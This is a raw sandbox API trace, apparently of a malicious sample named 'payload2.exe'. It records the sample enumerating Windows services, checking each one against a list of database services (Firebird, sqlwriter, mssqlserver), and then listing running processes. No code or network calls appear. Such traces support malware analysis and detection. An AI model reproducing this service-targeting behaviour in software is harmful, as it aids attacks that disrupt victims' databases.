	[0187.999] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0187.999] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0187.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0187.999] lstrlenW (lpString="NcbService") returned 10
	[0187.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0187.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0187.999] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0187.999] lstrlenW (lpString="netprofm") returned 8
	[0187.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0187.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0187.999] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0187.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0187.999] lstrlenW (lpString="NgcSvc") returned 6
	[0187.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0188.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0188.000] lstrlenW (lpString="NlaSvc") returned 6
	[0188.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0188.000] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0188.000] lstrlenW (lpString="nsi") returned 3
	[0188.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0188.000] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0188.000] lstrlenW (lpString="PcaSvc") returned 6
	[0188.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0188.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0188.000] lstrlenW (lpString="PlugPlay") returned 8
	[0188.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0188.000] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0188.000] lstrlenW (lpString="Power") returned 5
	[0188.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0188.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0188.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0188.001] lstrlenW (lpString="ProfSvc") returned 7
	[0188.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0188.001] lstrlenW (lpString="RpcEptMapper") returned 12
	[0188.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0188.001] lstrlenW (lpString="RpcSs") returned 5
	[0188.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0188.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0188.001] lstrlenW (lpString="SamSs") returned 5
	[0188.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0188.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0188.001] lstrlenW (lpString="Schedule") returned 8
	[0188.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0188.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0188.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0188.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0188.002] lstrlenW (lpString="SecurityHealthService") returned 21
	[0188.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0188.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0188.002] lstrlenW (lpString="SENS") returned 4
	[0188.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0188.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0188.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0188.002] lstrlenW (lpString="ShellHWDetection") returned 16
	[0188.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0188.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0188.002] lstrlenW (lpString="Spooler") returned 7
	[0188.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0188.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0188.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0188.002] lstrlenW (lpString="StateRepository") returned 15
	[0188.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0188.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0188.002] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0188.002] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0188.003] lstrlenW (lpString="SysMain") returned 7
	[0188.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0188.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0188.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0188.003] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0188.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0188.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0188.003] lstrlenW (lpString="Themes") returned 6
	[0188.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0188.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0188.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0188.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0188.003] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x45c6cc8 | out: hHeap=0x610000) returned 1
	[0188.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x538
	[0188.014] Process32FirstW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0188.014] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0188.015] lstrlenW (lpString="System") returned 6
	[0188.015] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0188.016] lstrlenW (lpString="smss.exe") returned 8
	[0188.016] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.017] lstrlenW (lpString="csrss.exe") returned 9
	[0188.017] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0188.017] lstrlenW (lpString="wininit.exe") returned 11
	[0188.017] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0188.018] lstrlenW (lpString="csrss.exe") returned 9
	[0188.018] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0188.018] lstrlenW (lpString="winlogon.exe") returned 12
	[0188.019] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0188.019] lstrlenW (lpString="services.exe") returned 12
	[0188.019] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0188.020] lstrlenW (lpString="lsass.exe") returned 9
	[0188.020] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.020] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.020] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0188.021] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0188.021] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.021] lstrlenW (lpString="svchost.exe") returned 11
	[0188.021] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.022] lstrlenW (lpString="svchost.exe") returned 11
	[0188.022] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0188.022] lstrlenW (lpString="dwm.exe") returned 7
	[0188.023] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.023] lstrlenW (lpString="svchost.exe") returned 11
	[0188.023] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.024] lstrlenW (lpString="svchost.exe") returned 11
	[0188.024] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.024] lstrlenW (lpString="svchost.exe") returned 11
	[0188.024] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.025] lstrlenW (lpString="svchost.exe") returned 11
	[0188.025] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.026] lstrlenW (lpString="svchost.exe") returned 11
	[0188.026] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.026] lstrlenW (lpString="svchost.exe") returned 11
	[0188.026] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.027] lstrlenW (lpString="svchost.exe") returned 11
	[0188.027] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.027] lstrlenW (lpString="svchost.exe") returned 11
	[0188.027] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.028] lstrlenW (lpString="svchost.exe") returned 11
	[0188.028] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.029] lstrlenW (lpString="svchost.exe") returned 11
	[0188.029] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0188.029] lstrlenW (lpString="spoolsv.exe") returned 11
	[0188.029] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.030] lstrlenW (lpString="svchost.exe") returned 11
	[0188.030] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0188.030] lstrlenW (lpString="audiodg.exe") returned 11
	[0188.030] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0188.031] lstrlenW (lpString="sihost.exe") returned 10
	[0188.031] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.031] lstrlenW (lpString="svchost.exe") returned 11
	[0188.031] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0188.032] lstrlenW (lpString="taskhostw.exe") returned 13
	[0188.032] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0188.033] lstrlenW (lpString="msoia.exe") returned 9
	[0188.033] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0188.033] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0188.033] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0188.038] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0188.038] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0188.038] lstrlenW (lpString="Memory Compression") returned 18
	[0188.038] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0188.039] lstrlenW (lpString="explorer.exe") returned 12
	[0188.039] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0188.040] lstrlenW (lpString="SearchUI.exe") returned 12
	[0188.040] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0188.040] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0188.040] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0188.041] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0188.041] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0188.041] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0188.041] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0188.042] lstrlenW (lpString="payload2.exe") returned 12
	[0188.042] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0188.042] lstrlenW (lpString="cmd.exe") returned 7
	[0188.043] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0188.043] lstrlenW (lpString="conhost.exe") returned 11
	[0188.043] Process32NextW (in: hSnapshot=0x538, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0188.044] lstrlenW (lpString="consent.exe") returned 11
